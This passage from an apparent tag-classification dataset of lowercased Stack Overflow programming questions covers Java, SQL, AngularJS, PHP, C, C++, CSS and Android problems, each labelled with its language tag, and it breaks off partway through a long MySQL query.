throwing exceptions from within completablefuture exceptionally clause  i am having a problem dealing with exceptions throw from completablefuture methods. i thought it should be possible to throw an exception from within the exceptionally clause of a completablefuture. for example  in the method below  i expected that <code>executework</code> would throw a runtimeexception because i am throwing one in the various <code>exceptionally</code> clauses  however  this does not work and i m not sure why.   <pre><code>public void executework() {    service.getallwork().thenaccept(worklist -&gt; {     for (string work: worklist) {       service.getworkdetails(work)         .thenaccept(a -&gt; sendmessagetoqueue(work  a))         .exceptionally(t -&gt; {           throw new runtimeexception( error occurred looking up work details );         });   }   }).exceptionally(t -&gt; {     throw new runtimeexception( error occurred retrieving work list );   }); } </code></pre>,java
unloaded heading tag causing flicker  i have the following code:   <pre><code>&lt;div ng-cloak ng-init= viewalbum()  class= ng-cloak &gt;   &lt;h3 ng-cloak class= ng-cloak  ng-bind= album.title &gt;&lt;/h3&gt;       &lt;table ng-cloak class= ng-cloak &gt;      &lt;tr&gt;         &lt;td class= label-col &gt;&lt;span class= album-label &gt;composer&lt;/span&gt;&lt;/td&gt;         &lt;td class= value-col &gt;{{album.composer}}&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;         &lt;td class= label-col &gt;&lt;span class= album-label &gt;release year&lt;/span&gt;&lt;/td&gt;         &lt;td class= value-col &gt;{{album.releaseyear}}&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;         &lt;td class= label-col &gt;&lt;span class= album-label &gt;rating&lt;/span&gt;&lt;/td&gt;         &lt;td class= value-col &gt;{{album.rating}}&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;         &lt;td class= label-col &gt;&lt;span class= album-label &gt;reviews&lt;/span&gt;&lt;/td&gt;         &lt;td class= value-col &gt;             &lt;ol&gt;                 &lt;li ng-repeat= review in album.reviews &gt;{{review.text}}&lt;/li&gt;             &lt;/ol&gt;         &lt;/td&gt;     &lt;/tr&gt;   &lt;/table&gt; </code></pre>   the problem is that i am seeing a quick flicker when the page load. i m am not seeing raw unprocessed angular code. instead  the entire table flickers including the static text such as the labels.     i did some experimenting - when i remove the <code>h3</code> tag  i no longer see the flicker. so  i believe what is happening is the <code>h3</code> tag is initially rendered with no value and therefore takes up no vertical space. when the value of the album title is rendered  the table is pushed down  and it is this  pushing down  that is causing the flicker. my theory could be wrong however.    the ng-clock attributes don t mitigate this. i tried a verbose option of surrounding the <code>h3</code> tag in a container <code>div</code> and setting the height and min-height of that <code>div</code> in the css but that also isn t preventing the flicker.     as i said  if i remove the <code>h3</code> tag  there is no flicker. any suggestions please,angularjs
php array extract a particular key value from various arrays   i have the following arrays   <pre><code>$country[ china ] = array(    shortcode  =&gt;  cn      president  =&gt;  xi jinping      currency  =&gt;  yuan     );  $country[ america ] = array(    shortcode  =&gt;  us      president  =&gt;  barack obama      currency  =&gt;  dollar     );  $country[ russia ] = array(    shortcode  =&gt;  ru      president  =&gt;  vladimir putin      currency  =&gt;  rubble     ); </code></pre>   now i d like to extract the  president  value for each array above.    i tried this    <pre><code>foreach(array_keys($country) as $countryname =&gt; $countryvalue)   echo  $countryvalue .  &lt;br&gt; ; </code></pre>   i would like instead to get this output xi jinping barack obama vladimir putin    but instead i am getting a list of countries.,php
.net directoryinfo path  does anyone know how to set the path for directoryinfo when i want to map to a folder named images on webroot. /images    any help much appreciated  thanks,.net
how to find repeated words of a cell in sql  i have a column named  situation  and  entityid .   <pre>entityid    situation 1234        in <b>the the</b> world <b>of of</b> 3456        total universe <b>is is</b> a</pre>   can any one please give me query to find these type of higlihted words.    thanks ramesh,mysql
fetching specific characeter from the string  i want to know  how to fetch a specific character from a given string.     for example   consider the following strings   <pre><code>value.1.name = s1 value.2.name = s2 value.3.name = s3 value.4.name = s4 </code></pre>   the code should return 1  2 3 4 if the condition is s1 s2 s3 and s4 respectively.  i.e it should only get the value between the two periods  value.1.name should return 1.,c#
change mysql variables without server restart  when i restart mysql  website becomes too slow for about 10 minutes.i think it is because innodb_buffer pool and query cache. innodb <code>buffer pool =8g</code> and <code>query cache = 2g.</code>    i am changing my <code>.cnf</code> for optimizing but i have 200 online users and slowing down server for 10 minutes makes users angy.    is there anyway i can change mysql variables without mysql restart,mysql
jquery based html interactive flipbook plugin  i am looking for a flip book style way of presenting html content.    there are plenty of jquery flipboks like these    <a href= http://codecanyon.net/item/3d-flipbook-responsive-jquery-plugin/full_screen_preview/3946817  rel= nofollow >jquery flip book demos</a>     however you can not interact with the pages..only flip them. i want to place html into the pages and clickable images. does anyone know where i can find such a plugin  free or premium,jquery
c programming calculator using switch statement and calling function  everything complies alright but i m just wondering why its not reading the switch statement and enter the operator it.     ex: enter first number 5 then it automatically reads the default statement enter      second number 2 and the result is 0.   <pre><code>float addnum(float  float); float subtractnum(float  float); float multiplynum(float  float); float dividenum(float  float);  #include &lt;stdio.h&gt; #include &lt;ctype.h&gt;  int main() {     char opnum;     float result;     float firstnum;     float secnum;      printf( enter first number:  );     scanf( %f   &amp;firstnum);     printf( enter the operator:\n );     scanf( %c   &amp;opnum);     switch (opnum)     {         case  + :             result = addnum(firstnum  secnum);             break;          case  - :             result = subtractnum(firstnum  secnum);             break;          case  * :             result = multiplynum(firstnum  secnum);             break;          case  / :             result = dividenum(firstnum  secnum);             break;          default:             printf( the operator you entered is invalid. );     }     printf( enter second number:  );     scanf( %f   &amp;secnum);     printf( your total number is: %f   result);     return 0; }  float addnum(float firstnum  float secnum) {     float result = 0.0;     result = firstnum + secnum;     return result; }  float subtractnum(float firstnum  float secnum) {     float result = 0.0;     result = firstnum - secnum;     return result; }  float multiplynum(float firstnum  float secnum) {     float result = 0.0;     result = firstnum * secnum;     return result; }  float dividenum(float firstnum  float secnum) {     float result = 0.0;     result = firstnum / secnum;     return result; } </code></pre>,c
sql combining results from multiple tables  and rows  in to one row in one table  so here s my situation. i have two tables (keysetdata115) containing vendor information and  keysetdata117 that contains either a remit or payment address.    here are the structures with one sample entry: keysetdata115:   <pre><code>keysetnum   ks183   ks178   ks184                    ks185       ks187  usagecount 2160826     1       6934    audio digest foundation  26-1180877  a      0 </code></pre>   keysetdata117 (i truncated values for ks192 and ks191 to fit formatting)   <pre><code>keysetnum   ks183   ks178   ks188   ks189   ks190     ks192     ks191   usagecount 2160827     1       6934    p001    p       ebsco...  top of... a       0 2160828     1       6934    r002    r       ebsco...  123 se... a       0 </code></pre>   there is no 1:1 relationship and the only thing that makes a unique record is the combination or remit code payment code  vendor number and vendor group.the codes can only be obtained by referencing the address and / or name.    ideally what i d like to do is set this up so that i can pass in the addresses and return all the related values.    i m dumping this in a table called  dbo.test  right now (for testing obviously)  that has the following entries and what the correspond to in the above tables: vengroup (ks183)  vendnum (ks178)  remit (ks188)  payment (ks188)... ks188 will be a remit or payment based off the value in ks189.    this is what i m doing so far  using 3 select queries and it works  but there s a lot of redundancy and it s very inefficient.    any suggestions on how i can streamline it would be much appreciated.   <pre><code>insert into dbo.test (vengroup vendnum)   select ks183  ks178   from hsi.keysetdata115   where ks184 like  audio digest%   update dbo.test set dbo.test.remit = y.remit from dbo.test tst inner join     (select ksd.ks188 as remit  ksd.ks183 as vengroup  ksd.ks178 as vendnum     from hsi.keysetdata117 ksd     inner join dbo.test tst         on tst.vengroup = ksd.ks183 and tst.vendnum = ksd.ks178     where ksd.ks190 like  ebsco%  and ks189 =  r ) y on tst.vengroup = y.vengroup and tst.vendnum = y.vendnum   update dbo.test set dbo.test.payment = y.payment from dbo.test tst inner join     (select ksd.ks188 as payment  ksd.ks183 as vengroup  ksd.ks178 as vendnum     from hsi.keysetdata117 ksd     inner join dbo.test tst         on tst.vengroup = ksd.ks183 and tst.vendnum = ksd.ks178     where ksd.ks190 like  ebsco%  and ks189 =  p ) y on tst.vengroup = y.vengroup and tst.vendnum = y.vendnum   </code></pre>   thanks so much for any suggestions!,sql
java: apply callback to array values  i m looking for a simple way to apply a callback method to each element in a string array. for instance in php i can make all elements in an array like this:   <pre><code>$array = array_map( strtolower   $array); </code></pre>   is there a simple way to accomplish this in java,java
username changes when launched under iis and published  i found a strange bug in programm( or may be not bug  i don t know) i am writing asp.net web application and have standart asp.net database for profiles membership and security. so when i write something like this   <pre><code>qwe.text=page.user.identity.name.tostring() </code></pre>   let s say our username  is john  so  i press ctrl+ f5 and launch my webapplication and see:   <pre><code>qwe.text =  john  </code></pre>   it s okay. but then i configure iis   publish my project. go to the same page and guess what i see: <code>qwe.text =   john </code> with whitespace character before john . i tested it on another names the same effect. i am a little bit  confused   what may cause such a nice bug. it s like magic  not programming..,asp.net
$event in expression of angularjs template  i am following angularjs documentation.    <a href= https://docs.angularjs.org/guide/expression  rel= nofollow >https://docs.angularjs.org/guide/expression</a>   <pre><code> &lt;div ng-controller= eventcontroller &gt;       &lt;button ng-click= clickme($event) &gt;event&lt;/button&gt;       &lt;p&gt;&lt;code&gt;$event&lt;/code&gt;: &lt;pre&gt; {{$event | json}}&lt;/pre&gt;&lt;/p&gt;       &lt;p&gt;&lt;code&gt;clickevent&lt;/code&gt;: &lt;pre&gt;{{clickevent | json}}&lt;/pre&gt;&lt;/p&gt;     &lt;/div&gt; </code></pre>   <strong>note in the example above how we can pass in $event to clickme  but how it does not show up in {{$event}}. this is because $event is outside the scope of that binding.</strong>    did not understand why $event is outside the scope.,angularjs
split text and insert words in sql database  i want to select file contains <code>.txt</code> and split all strings in each text into array  then insert the divided words into sql database (word  counter) and count the repeated words in each text by counter that lead to unrepeated words in database tables>>    (1)-counter code is incorrect i found several errors in my code >> (i want to prevent a repeat of word at the same time calculate how many times repeated word in databases  by using counter.) (2)- my code has static path (just one text ) but i want user to select his file which he want to split. (browse.. button)  (3-)sql database could not show arabic words (     )   <pre><code>namespace lib123 {     public partial class form1 : form     {         sqlconnection sqlconn;         sqlcommand sqlcomm;         sqldataadapter sqladptr;          public form1()         {             initializecomponent();               sqlconn = new sqlconnection();            sqlcomm = new sqlcommand();            sqladptr = new sqldataadapter();            sqlcomm.connection = sqlconn;            sqlcomm.commandtype = commandtype.text;            sqlconn.connectionstring =  data source=007-pc\\sqlexpress ;initial catalog= email_db;integrated security =true  ;          }         private void form1_load(object sender  eventargs e)         {             fillgrid();                      }         private void button1_click(object sender  eventargs e)         {                           if (sqlconn.state != connectionstate.open)                 sqlconn.open();              // sqlcomm = sqlconn.createcommand();               streamreader streamreader = new streamreader(@ c:\users\007\desktop\spam-email\spamenglish.txt ); //get the file             string stringwithmultiplespaces = streamreader.readtoend(); //load file to string             streamreader.close();              regex r = new regex(  + ); //specify delimiter (spaces)             string[] words = r.split(stringwithmultiplespaces); //(convert string to array of words)              int c = 1;             string strqry =  select isnull( max(id) 0) as id from word_tb  ;             sqlcomm.commandtext = strqry;              int lastid = int.parse(sqlcomm.executescalar().tostring());             string x ;             string st = null;              for (int i = 0; i &lt; words.length; i++)             {                 string y = words[i];                 for (int j = 0; j &lt;lastid; j++)                 {                  x =  select word from word_tb where id = j ;                 sqlcomm.commandtext = x ;                        if (x.equals(y))                     {                         c = c + 1;                         string sql =  insert into word_tb (count) values (   + c +   ) where id = i ;                         sqlcomm.commandtext = sql;                      }                     else                     {                         lastid = lastid + 1;                         st +=  insert into word_tb(id  word count) values(   + lastid +        + words[i].tostring() +       + c +   ); ;                          //st +=  insert into word_tb(word) values(   + words[i].tostring() +   ); ;                      }                 }             }             sqlcomm.commandtype = commandtype.text;             sqlcomm.commandtext = st;             sqlcomm.executenonquery();             fillgrid();         }         private void fillgrid()         {             datatable tbl = new datatable();             string   strqry =  select * from word_tb  ;                          sqlcomm.commandtext = strqry;             sqladptr.selectcommand = sqlcomm;             sqladptr.fill (tbl) ;             datagridview1.datasource = tbl;         }          private void datagridview1_cellcontentclick(object sender  datagridviewcelleventargs e)         {         }         //private void btndelete_click(object sender  eventargs e)         //{         //    string str =  delete from word_tb ;         //    sqlcomm.commandtype = commandtype.text;         //    sqlcomm.commandtext = str;         //    sqlcomm.executenonquery();          //    datagridview1.rows.clear();           //            }     } } </code></pre>,c#
i need some advice to alter my sql <pre><code>select * round(6378.138*2*asin(sqrt(pow(sin( (lat*pi()/180-0*pi()/180)/2) 2)+cos(lat*pi()/180)*cos(0*pi()/180)* pow(sin( (lng*pi()/180-0*pi()/180)/2) 2)))*1000) as juli                 from `institution` a              where round(6378.138*2*asin(sqrt(pow(sin( (lat*pi()/180-0*pi()/180)/2) 2)+cos(lat*pi()/180)*cos(0*pi()/180)* pow(sin( (lng*pi()/180-0*pi()/180)/2) 2)))*1000)&lt;1000000             order by juli asc             limit 10 </code></pre>   i think it is bad.any advice,mysql
counting distinct months with multiple records per month  my data looks like this:   <pre><code>code    date 123     1/2/2016 123     1/4/2016  123     1/4/2016 123     2/5/2016 456     1/2/2016 456     1/3/2016 456     2/7/2016 789     1/7/2016 789     1/8/2016 789     3/7/2016 789     3/15/2016 </code></pre>   i am looking for a distinct count of months grouped by the code.    so the results would look something like this   <pre><code>code     jan2016      feb2016      mar2016 123         1           1            0 456         1           1            0 789         1           0            1 </code></pre>   i feel like i may be overcomplicating my code.    so far i have   <pre><code>select     p.code      sum(case when p.date between  11/1/2010  and  11/30/2010       then 1 else 0 end) as  nov2010      from table     group by p.code </code></pre>   but that is pulling in all records from nov2010  when i just need to know if this exists,sql
select all fields that contains only uppercase letters  how do you select a field that contains only uppercase character in mysql or a field that doesn t contain any lower case character,mysql
add control to the beginning of other control asp.net  simple question    can i append control to the beginning of other control    this add to the end of control   <pre><code>idofcontrol.control.add(...) </code></pre>   i want something equivalent to jquery .prepend()   <pre><code>idofcontrol.control.prepend (...) </code></pre>   thanks    baaroz,asp.net
uninitialized constant squeel  when i try and deploy our application using capistrano i get the error listed above. no errors when using squeel on our development machines which are macs our app server has the following specs rails 3.0.10 ruby 1.9.2p290 postgres 8.2.4 redhat 5.7    it seems to throw the error when doing a rake db:migrate in the deployment process    our macs are running osx 10.7.2 rails 3.0.10 ruby 1.9.2p290 sqlite 3.7.7.1,ruby-on-rails
sub drop down menu is not going in right direction  i making sub drop down and i want to make sub drop down menu open in right direction but its opening at same down position   and when i am using <code>left:100%</code> its going in left direction and working correctly but not in when using right direction .  here is code     <pre><code> &lt;div class= dropdown &gt;       &lt;button class= btn btn-default dropdown-toggle  type= button  data-toggle= dropdown &gt;action       &lt;span class= caret &gt;&lt;/span&gt;&lt;/button&gt;         &lt;ul class= dropdown-menu  style= margin-left:-70px; &gt;            &lt;li class= dropdown-submenu &gt; &lt;a class= test  tabindex= -1  href= # &gt;&lt;i class= fa fa-hand-o-left  aria-hidden= true  style= padding-right:10px; &gt;  &lt;/i&gt;edit-file&lt;/a&gt; &lt;ul class= dropdown-menu  style= top: 0px;right:100%;text-align:right; &gt;            &lt;li&gt;action&lt;/li&gt;            &lt;li&gt; sub action&lt;/li&gt;  &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; </code></pre>   drop down menu not coming in right direction    <pre><code>&lt;style&gt; right:100%&lt;/style&gt;     </code></pre>   helm me please .,html
while following a tutorial i m getting an error: c++ requires a type specifier for all declarations  i have some experience with <code>python</code> and <code>php</code> but now decided to learn a bit of <code>c++</code>. i m following a tutorial on <a href= http://www.tutorialspoint.com/cplusplus/cpp_data_types.htm  rel= nofollow >http://www.tutorialspoint.com/cplusplus/cpp_data_types.htm</a>. but i am getting an  error: c++ requires a type specifier for all declarations .    here is what the tutorial says:    for example  the following code defines an enumeration of colors called colors and the variable c of type color. finally  c is assigned the value  blue .   <pre><code>enum color { red  green  blue } c; c = blue; </code></pre>   here is my code:   <pre><code>#include &lt;iostream&gt; using namespace std;  enum color {red  blue  green} c;  c = green;  int main() {         cout &lt;&lt; c &lt;&lt; endl;         return 0; } </code></pre>   when i m trying to compile i get this error:   <pre><code>someuser@somemac:~/cpp/cpptut$ g++ enum.cpp enum.cpp:6:1: error: c++ requires a type specifier for all declarations c = green; ^ 1 error generated. </code></pre>   it seems to me that i do everything exactly as its said in the tutorial. is there a mistake in the tutorial,c++
working with javascript elements  i have some google map markers that sit on a map.  they are controlled by the rout-markers id.  when i do this command:   <pre><code>document.getelementbyid( rout_markers ).style.display =  none ; </code></pre>   i am able to make all existing markers disappear from the map  which is what i want.  but if new markers are added  i am not able to add them to the rout_markers element by doing this:   <pre><code>document.getelementbyid( rout_markers ).value = str; </code></pre>   i mean  the markers do appear on the map  just not in the rout_markers id and i can t pass them to the request when i need to.  is there some way i can get the newly-created markers to get attached to the rout_markers id again     is this a generally accepted method of doing things in js still     thanks  alex,javascript
javascript - function to load external js files is needed  recently i added to my website facebook like button  twitter follow us button and google +1 button.  i want their js scripts to load when i tell them to load.    therefore  i need a function that load external js files. i don t need to know when the file finished to load (callback is not needed).    i found some methods/functions on the internet  but i want to know which would be the best choice for this situation     <a href= http://ntt.cc/2008/02/10/4-ways-to-dynamically-load-external-javascriptwith-source.html  rel= nofollow >4 ways to dynamically load external javascript</a><br/> <a href= http://www.ejeliot.com/blog/109  rel= nofollow >dynamically loading js libraries and detecting when they re loaded</a><br/> <a href= http://www.nczonline.net/blog/2009/07/28/the-best-way-to-load-external-javascript/  rel= nofollow >the best way to load external javascript</a>    thanks.    <strong>edit</strong>: added the methods/function i found.,javascript
animating an element s height using jquery  i have some bars that are filled with a height %  but right when the page loads i would like all the bars to fill up and then decrease to 0.  i know how to fill it up with a for loop:   <pre><code>for(i = 1; i &lt;= 100; i++) </code></pre>   but to have a it come back down   <pre><code>for(i = 100; i == 100; i--) </code></pre>   i m just not sure how to put them together to make the variable i go to 100 then decrease back down to 0,jquery
title with border needs to be centered - html only allowed  this is probably so simple but iv been hours trying to move a simple title with a border to the center. many sites now say to use css but i have to use the html way. iv tried using align center but only the words move and not the border with it. thanks in advance...    the code:   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;   &lt;h1&gt; &lt;style&gt;.bordered{width: 270px;height: 45px;padding: 10px;border: 5px double grey;}&lt;/style&gt;  &lt;div class= bordered &gt; title in border&lt;/h1&gt;  &lt;/div&gt; &lt;/h1&gt; </code></pre>,html
passing arraylist to another activity modifies list  i m trying to pass my custom object from <code>activty</code> a to <code>activity</code> b. my custom object implements <code>parcelable</code> interface and contains <code>arraylist</code> of another <code>parcelable</code> objects. when i put data to the <code>intent</code> eveything is fine  but when i get the object in <code>activity</code> b the the <code>arraylist</code> ist modified - contains more elements then it had in previous <code>activity</code>. can anybody help me,android
cannot find default constructor  my error occurs on line 191 and 156. for some reason it is saying it cant find the default constructor when i have supplied the right amount of parameters.    the error it is giving me is  cannot find default constructor to initialize base class     code: <a href= http://pastebin.com/wlmvbmyy  rel= nofollow noreferrer >http://pastebin.com/wlmvbmyy</a>    if anyone could offer any input it would be greatly appreciated,c++
iphone emulator  any working out there   i need to play around with a free iphopne app that i downloaded via itunes  but i don t have an iphone. maybe anybody knows of a good iphone emulator for windows that can run *.ipa apps     thanks!,iphone
inheritence in java programming  create a class named customer that will determine the monthly repayment amount due by a customer for a product bought on credit. the class has five (5) fields: customer name  contact number  product price  number of months and the monthly repayment amount. write get and set methods for each field  except for the monthly repayment amount field. the set methods must prompt the user to enter the values for the following fields: customer name  contact number  product price and number of months. this class also needs a method to calculate the monthly repayment amount (product price divided by the number of months). add a subclass named finance_period that will determine if a customer will pay interest or not. if the number of months to pay for the product is greater than three  the customer will pay 25% interest  else no interest applies. the maximum amount of months to pay for the product is 12. override the calculate_repayment() method by determining if the customer will pay interest or not and calculate the monthly repayment amount. create a class called customer_finance that contains the logic to test the two classes. prompt the user for data for the first object where no interest applies and display the results; then prompt the user for data where interest is applicable and display the results.,javascript
css issue with float:left; and main container  i ve come across a bit of an issue and was hoping for some advice.    i ve always been a bit on-off with laying out websites like this but it s come to the day where i ve had enough of fending it off.    so i have two divs  left and center  both are set to float:left; these are both in a  main  section but because the two are floating  the  main  section is smaller in height than these two which overlap due to the floating quality.      i ve tried display:inline &amp; display:inline-block but the first stacks them one on top of the other whilst the latter completely loses me my css for the corresponding div.    was hoping someone could help me  if so  it d be greatly appreciated!  here s the code:    html:   <pre><code>&lt;div id= main_container &gt;         &lt;aside id= left &gt;             &lt;p id= settings_header &gt;                 account settings             &lt;/p&gt;         &lt;hr&gt;             &lt;img id= profile_picture  src= #  /&gt;             &lt;div id= settings_option &gt;                 &lt;a href= # &gt;                     settings                 &lt;/a&gt;             &lt;/div&gt;             &lt;div id= settings_option &gt;                 &lt;a href= # &gt;                     sign out                 &lt;/a&gt;             &lt;/div&gt;         &lt;/aside&gt;          &lt;div id= center &gt;             &lt;h2&gt;                     latest &amp; greatest topics             &lt;/h2&gt;            &lt;/div&gt;     &lt;/div&gt; </code></pre>   css:   <pre><code>#main_container {     width:82%;     min-width:932px;     margin-left:auto;     margin-right:auto;     padding:10px 10px;     box-shadow:inset 0 0 10px #000;     background-color:#ccc; }  #left {     width:26%;     min-width:176.4px;     margin-right:5px;     display:inline-block;     float:left;     background-color:#fff;     border:1px solid #222;     box-shadow:0 0 5px #000;     font-family: verdana;     font-size:12px;     color: #000; }  #center {     width:68%;     min-width:670.6px;     margin-left:5px;     margin-right:5px;     display:inline-block;     float:left;     background-color:#fff;     border:1px solid #222;     box-shadow:0 0 5px #000;     font-family: verdana;     font-size:12px;     color: #333;     text-align:left; }  #center h2 {     font-family:tahoma;     font-weight:bold;     font-size:18px;     text-decoration:underline;     text-align:center;     color:black;     letter-spacing:1px; } </code></pre>   thanks for any help in advance!,css
convert x and y coordinate from one android device to another independent of resolution  i have a canvas for painting in my application and saving all the coordinate while user drawing on it. the saved coordinates are then  transformed to another device and trying to plot the pixels.     like this; (20 30)  (50 40) .. .. ..    because of the different  screen size and resolution my drawing is incomplete and positions and plotted incorrectly    how can i map the coordinate to  other device which should be in exact location as that of the device  where i draw the actual image.,android
mysql query running terribly slow  i have a rather large query that runs at an awful slow pace. at the start it took around 15 mins. then i added all the appropriate indexes and got it down to 30 secs. this was yesterday. now today  i added 2 new joins  and actually changed a few <code>left join</code> s to <code>inner</code>  and it s now taking 20+ mins to run.    here is the <code>explain</code> of the query. i uploaded an excel file to skydrive with the results in it: <a href= http://cid-a32b31fdac0efced.office.live.com/view.aspx/mysqlexplain.xlsx  rel= nofollow >http://cid-a32b31fdac0efced.office.live.com/view.aspx/mysqlexplain.xlsx</a>    you will see here that there is a table  mwd  which it says has no key. i have checked this table and it does indeed have the appropriate index attached. however  this was not the table i added to the join and was running fine yesterday.    the new joins i created can be seen on lines 28 and 29.    any help would be greatly appreciated.    edit: edit: i ran the query again without the fields from the <code>mwd</code> table  ie. <code>bir3m</code>  <code>dealer_code</code>  <code>country_code</code>  <code>dsm_dealer_number</code>  <code>location_number</code>  <code>dms_type</code>  <code>sequence_number</code>  <code>version_no_edr</code>  <code>id_dms_type</code>  <code>version_no_dms</code>  <code>version_date_dms</code>  and it now runs in 4 secs! (it is still joining on this table)    i know that it can t find a key for <code>mwd</code>  even though there is an index on the correct fields  so what can i do about that     edit: didn t really want to post the query  work stuff. but this is the first part of the join  which is causing the delay. it s pretty long...   <pre><code>select mwd.dealer_code as  bir3m       vm.chassis_number as  vin       vm.vehicle_id      vm.registration      coalesce(vm.after_sale_type    ) as  after sales type       coalesce(vm.fabrication_no    ) as  fabrication no       i.created_date as  invoicedate       i.department_id      coalesce(c.claim_number    ) as  intervention id       wb.booking_id as  booking id       wb.booking_date_time as  booking date       iba.account as  account number       acc.account_name as  account description       ibi.warranty_percentage as  payee responsibility %       if(i.iscredit = 1  i.invoice_number  coalesce(i2.invoice_number    )) as  invoice number       if(i.iscredit = 1  coalesce(i2.invoice_number    )     ) as  original invoice number          as  part reference          as  part description       ibi.booking_time as  quantity       0 as  cause indicator          as  stock status       round(             (                 case when ibi.claimed_flag = 1 then (ibi.booking_time * ibi.warranty_labour_rate)                     #(ibi.claimed_value * ibi.warranty_labour_rate)                  when ibi.claimed_flag = 0 then ibi.booking_time                     #(ibi.claimed_value)                  end               ) # end              * case when i.iscredit = 1 then -1 else 1 end          2) as  retailprice        ibia.discount as  discount rate       0.00 as  surcharge rate       round(     ibi.booking_time * ibi.warranty_labour_rate * (1 - ibia.discount / 100) *          coalesce(mwc.commercial_cont  100) / 100   2)     as  cost before tax           iba.account as  account       case         when ibi.warranty_percentage &gt; 0 then  warranty          when act.generic_type = 0 then  external          when act.generic_type = 1 then  vehicle          when act.generic_type = 2 then  internal          when act.generic_type = 3 then  non productive      end as  accounttype       ibi.booking_time as  labour time        ibi.warranty_labour_rate as  hourly rate       0.00 as  vat rate       0.00 as  vat total       ibi.id as  invoice booking item id       ibi.operation_code as  opecod       ibi.job_description as  description       case when i.iscredit = 1 then 9 else 0 end as  accounts allocation       coalesce(mwc.contract_card_no    ) as  contract card no       coalesce(mwc.vehicle_mileage    ) as  mileage       coalesce(mwc.delivery_date    ) as  delivery date       coalesce(mwc.vo_number    ) as  vo number       coalesce(mwc.expense_code    ) as  expense code       coalesce(mwc.catalog_function    ) as  catalog function       coalesce(mwc.customer_complaint    ) as  customer complaint       coalesce(mwc.commercial_cont  100) as  commercial contribution       coalesce(mwc.ots_otc_no    ) as  ots/otc no       coalesce(mwc.supplier_code    ) as  supplier code       coalesce(mwc.paint_code    ) as  paint code       coalesce(mwc.off_road_breakdown    ) as  off road breakdown       coalesce(mwc.approval_no    ) as  approval no       coalesce(mwc.assistance_number    ) as  assistance number       coalesce(mwc.customer_complaint_comment    ) as  customer complaint comment       wb.booking_id as  repair order number       wb.booking_date_time as  repair order date       mwd.dealer_code      mwd.country_code      mwd.dsm_dealer_number      mwd.location_number      mwd.dms_type      mwd.sequence_number      mwd.version_no_edr      mwd.id_dms_type      mwd.version_no_dms      mwd.version_date_dms      coalesce(mwc.customer_satisfied    ) as  customer satisfied       coalesce(mwc.dealer_satisfied    ) as  dealer satisfied       coalesce(mwc.parts_invoice_no    ) as  parts invoice number          as  parts type          as  packaging code       case when cr.contact_id is not null then  p           when br.business_id is not null then  s           when d.code is not null then  s      end as  customer type        p  as  customer vehicle relation       case when cr.contact_id is not null then cr.surname          when br.business_id is not null then br.company_name          when d.code is not null then d.description     end as  surname/corporate name        gb  as  language       coalesce(cr.surname    ) as  second name       coalesce(cr.forename    ) as  first name       coalesce(cr.date_of_birth    ) as  dob       coalesce(cr.title    ) as  title       coalesce(vm.registration_date    ) as  registration date       case when cr.contact_id is not null then if(cr.letter_contact_allowed = 1       a )          when br.business_id is not null then if(br.letter_contact_allowed = 1       a )          when d.code is not null then        end as  mail contact       case when cr.contact_id is not null then if(cr.email_contact_allowed = 1       e )          when br.business_id is not null then if(br.email_contact_allowed = 1       e )          when d.code is not null then        end as  email contact       case when cr.contact_id is not null then if(cr.fax_contact_allowed = 1       f )          when br.business_id is not null then if(br.fax_contact_allowed = 1       f )          when d.code is not null then        end as  fax contact       case when cr.contact_id is not null then if(cr.telephone_contact_allowed = 1       t )          when br.business_id is not null then if(br.telephone_contact_allowed = 1       t )          when d.code is not null then        end as  telephone contact       coalesce(case when cr.contact_id is not null then          case when cr.preferred_contact_method = 1 then  a               when cr.preferred_contact_method = 2 then  e               when cr.preferred_contact_method = 9 then  f               when cr.preferred_contact_method = 5 then  t          end          when br.business_id is not null then         case when br.preferred_contact_method = 1 then  a               when br.preferred_contact_method = 2 then  e               when br.preferred_contact_method = 9 then  f               when br.preferred_contact_method = 5 then  t          end          when d.code is not null then  e      end    ) as  preferred support type       case when cr.contact_id is not null then cr.address_1          when br.business_id is not null then br.address_1          when d.code is not null then        end as  street name       case when cr.contact_id is not null then cr.postcode          when br.business_id is not null then br.postcode          when d.code is not null then        end as  post code        gbr  as country      case when cr.contact_id is not null then cr.address_2          when br.business_id is not null then br.address_2          when d.code is not null then        end as  address 1       case when cr.contact_id is not null then cr.address_3          when br.business_id is not null then br.address_3          when d.code is not null then        end as  address 2       case when cr.contact_id is not null then cr.address_4          when br.business_id is not null then br.address_4          when d.code is not null then        end as  address 3       case when cr.contact_id is not null then cr.email_address          when br.business_id is not null then br.email_address          when d.code is not null then        end as  email       case when cr.contact_id is not null then cr.tel_num_home          when br.business_id is not null then br.tel_num_primary          when d.code is not null then        end as  phone number 1       case when cr.contact_id is not null then cr.tel_num_mobile          when br.business_id is not null then br.tel_num_secondary          when d.code is not null then        end as  phone number 2       case when cr.contact_id is not null then cr.tel_num_business          when br.business_id is not null then br.tel_num_mobile          when d.code is not null then        end as  phone number 3       case when cr.contact_id is not null then cr.fax_num          when br.business_id is not null then br.fax_num          when d.code is not null then        end as  fax number       wb.owner_id as  owner       1 as  labour flag        warranty  from     i     inner join iba on i.monetary_transaction_id = iba.monetary_transaction_id     inner join ibi on ibi.booking_id = iba.booking_id and ibi.job_group = iba.job_group and ibi.sequence = iba.sequence     inner join g on g.booking_item_id= ibi.id         and g.type_id = 1     inner join c on c.id = g.claim_booking_claim_id     inner join wm on wm.warranty_booking_claim_id = c.id     inner join mwc on mwc.id = wm.manufacturer_warranty_claim_id     inner join ibia on ibia.booking_item_id = ibi.id          and ibia.sequence = ibi.sequence and ibia.booking_account_id = iba.id and ibia.sequence = iba.sequence     inner join wb on wb.booking_id = ibi.booking_id     inner join a on a.account_id = iba.account     inner join act on act.type = a.type     left join ibev on ibev.booking_item_id = ibi.id and ibi.sequence = ibev.sequence     inner join vm on wb.vehicle_id = vm.vehicle_id     inner join mwd on mwd.department_id = i.department_id     inner join mt on i.monetary_transaction_id = mt.master_monetary_transaction_id     inner join i2 on mt.id = i2.monetary_transaction_id     inner join acc on iba.account = acc.account_id     left join cr on wb.owner_id = cr.contact_id     left join br on wb.owner_id = br.business_id     left join d on wb.owner_id = d.code      where i.department_id in (120  322  362)     and i.created_date between  2011-03-01 00:00:00  and  2011-03-02 23:59:59      and ibev.booking_item_id is null and not ibi.booking_item_type_id in (10 14) and ibi.warranty_percentage &gt; 0     and wb.booking_id in 